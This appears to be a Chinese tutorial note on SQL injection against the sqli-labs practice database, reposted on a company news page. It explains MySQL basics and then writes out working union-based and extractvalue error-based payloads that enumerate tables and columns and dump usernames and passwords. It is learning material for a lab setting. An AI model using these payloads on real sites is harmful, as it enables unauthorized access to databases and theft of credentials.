尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

SQL注入(不定时更新)

SQL注入(不定时更新)
📅 发布时间:2026/6/20 10:02:05
这个入很懒 不知道他啥时候会想起来他sql注入还没学完......

SQL注入

数据库基础语法

命令行

~# mysql -u root -p			//输入密码登录
>show databases;			//查看数据库---最外层
>select databases();		//查看数据库---在数据库中
>use security;				//选择使用数据库security

增删改

数据库

~# mysql -u root -p			//输入密码登录
>show databases;			//查看数据库---最外层
>create database employees charset utf8;		//创建数据库employees并选择字符集
>drop database employees;	//删除数据库employees
>use employees;				//进入数据库employees

数据表

创建数据表employee

>create table employee
(id int,name varchar(40),sex char(4),birthday date,job varchar(100)
);

查看数据表信息

>show full columns from employee;

>select * from employee;			//查看数据表列表
>drop table employee;				//删除数据表
>rename table employee to user;		//修改数据表名称为user
>alter table user character set utf8;	//修改字符集

数据列和数据行

写入内容

>insert into user
(id,name,sex,birthday,job)
values
(1,'ctfstu','male','2007-03-23','it');

>alter table user add salary decimal(8,2);		//增加一列salary内容
>update user set salary=5000;			//修改所有salary为5000
>update user set name='benben' where id=1;		//修改id=1行的name为benben
>update user set name='benben2',salary=3000 where id=1;	
//修改id=1行的name为benben2,salary为3000
>alter table user drop salary;			//删除列
>delete from user where job='it';		//删除行

sql查询

基本查询语句

select查询
>select * from users where id=1;
//select 列名(*代表所有) from 表名 where 条件;
>select * from users where id in ('3');
//从users表格,查询所有包含id为3
>select * from users where id=(select id from users where username='admin');
union联合查询
>select id from users union select email_id from emails;
//查询并合并数据显示

注意:union联合注入前后表格列数必须相等

>select * from users where id=6 union select *,3 from emails where id=6;				//3为填充列

group by分组
>select * from users where id=9 group by 2;

group by 2,4,8..... ----依次排查到报错为止,从而确定列数

order by升序排列
>select * from users order by 1;

以第一列数据为参考排序

注:order by 1 desc;降序排列

limit限制输出内容数量
>select * from users limit 0,3;
//限制为从第0行开始显示 共显示3行
and和or

eg.

>select * from users where id=1 and username=benben;

常用函数

group_concat合并到一行显示

>select group_concat(id,username,password) from users;

select database():查看当前数据库名称

select version():查看当前数据库版本

注入基础

什么是注入

sql注入就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令,从而进一步达到相应的数据信息

注入分类

按查询字段:

字符型:输入的参数为字符串 /?id='1'

整型:输入的参数为整型 /?id=1

按注入方法:

union注入,报错注入,布尔注入,时间注入

判断字符型&整型:

法一:提交and 1=1 提交and 1=2

若都能正常回显 则为字符型

若and 1=2 报错 则为整型

法二:提交id=1 提交id=2-1

若回显相同 则为整型

字符型注入——less-1:

?id=1 //即 ''1' LIMIT 0,1'

(ps:需要闭合)

闭合方式: ' " ') ")

闭合的作用

手工提交闭合符号,结束前一段查询语句,后面即可加入其他语句,查询需要的参数。不需要的语句可以用注释符号 '--+' 或 '#' 或 '%23' 注释掉

union联合注入

通过union联合查询来查看数据库

?id=1' union select database()--+

网页报错。union的使用方法:union联合注入前后表格列数必须相等

首先利用group by判断表格列数

?id=1' group by 3--+		//不断缩小数字 直到正常回显

然后通过union联合查询 database()数据库名称

?id=1' union select 1,2,database()--+		//要添加1,2,补齐三位

通常网页只能回显一个内容,第二句内容不显示,可以将id修改为一个不存在的值(eg.id=-1'),从而不显示第一个查询的内容。

?id=-1' union select 1,2,database()--+

步骤总结

1、查找注入点

2、判断是字符型还是整型注入

3、如果是字符型,找到正确闭合方式 ' " ') ")

4、判断查询列数 group by,order by

5、查询回显位置 ?id=-1

union注入

获取表名和列名

1、基本了解

2、查找数据库security中的表名

所需要表名信息在

数据库Information_schema --> 数据表tables --> 数据列table_name

?id=-1' union select 1,2,table_name from Information_schema.tables where table_schema=database()--+

group_concat()的作用:确保所有查询信息能放到一行显示出来

?id=-1' union select 1,2,group_concat(table_name) from Information_schema.tables where table_schema=database()--+
3、查找数据库security中数据表users的列名

所需要的信息在

数据库Information_schema --> 数据表columns --> 数据列column_name

?id=-1' union select 1,2,group_concat(column_name) from Information_schema.columns where table_schema=database()--+

然后指定查询表

?id=-1' union select 1,2,group_concat(username,'~',password) from users--+ 
4、查询最终目标

查询语句:select列名+from表名+where限定语句

?id=-1' union select 1,2,group_concat(username,'~',password) from users--+ 

报错注入

什么是报错注入

id正常输入无回显,错误输入有报错

确定为字符型,且闭合方式为 '

?id=1' group by 3--+		//确定表格列数
?id=-1' union select 1,2,database()--+		//查询数据库名称 但无回显

利用报错查看数据库名

?id=-1' union select 1,2,datadase()--+

img

得到数据库名security

报错注入分类

extractValue()报错注入

函数extractValue()包含两个参数

第一个参数 XML文档对象名称,第二个参数 路径

eg.以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

1、在ctfstu数据库内创建表xml

>create database ctfstu charset utf8;
>create table xml(doc varchar(150));

2、在表xml内插入两段数据

>insert into xml values
('
<book>
<title>A bad boy how to get a girlfirend</title>
<author>
<initial>Love</initial>
<surname>benben</surname>
</author>
</book>
');
>insert into xml values
('
<book>
<title>how to become a bad boy</title>
<author>
<initial>hualong</initial>
<surname>Melton</surname>
</author>
</book>
');

3、使用extractvalue查询xml里面的内容

查询作者

>select extractvalue(doc,'/book/author/surname') from xml;

查询书名

>select extractvalue(doc,'/book/title') from xml;

如何利用报错

把查询参数中的路径写错并不会报错

把查询参数格式写错

>select extractvalue(doc,'~book/title') from xml;

>select extractvalue(doc,concat(0x7e,(select database()))) from xml;

注:0x7e 为 ~

​ concat(a,b)函数 拼接a和b

注入报错回显

查数据库名
?id=-1' union select 1,2,extractvalue(1,concat(0x7e,(select database())))--+
?id=-1' and 1=extractvalue(1,concat(0x7e,(select database())))--+

查询表名
?id=-1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
查询列名
?id=-1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+
查询所需数据
?id=-1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users)))--+

但是默认只返回32个字符串

使用函数substring解决只能返回32个字符串问题

?id=-1' union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30) from users)))--+

substring(a,num1,num2)使用方法:

输出内容a 从第num1个字符开始输出 输出长度num2

相关新闻

  • 5.1 架构设计!AI原生开发驾驶舱:构建统一控制中心的5个核心模块
  • 太原卤肉哪家最地道?探寻龙城卤味江湖的匠心与传承
  • Markdown引用文献格式:撰写PyTorch学术论文参考

最新新闻

  • 曲靖市闲置手表包包奢侈品变现,整理了5家靠谱回收店联系方式 - 谊识预商务
  • 零基础Python AI编程实战:Trae+Gitee+Ubuntu本地化开发部署
  • 黄江镇独立站SEO培训:谷歌自然流量获取实战 - 东莞选校指南
  • 2026长沙积家手表回收实测|岳麓芙蓉双门店实测,正规高价无套路测评 - 薛定谔的梨花猫
  • 2026安徽省蚌埠市中考一两百分怎么办?好就业易上手宠物护理专业最新发 - cc江江
  • 寄大件怎么省钱?2026快递比价全攻略 - 快递物流资讯

日新闻

  • 信任的进化:技术实现详解——如何用JavaScript构建博弈论模拟器
  • Terrakube自定义工作流:如何集成OPA、Infracost等工具扩展IaC能力
  • grunt-concurrent快速入门:5分钟学会并行运行Grunt任务

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号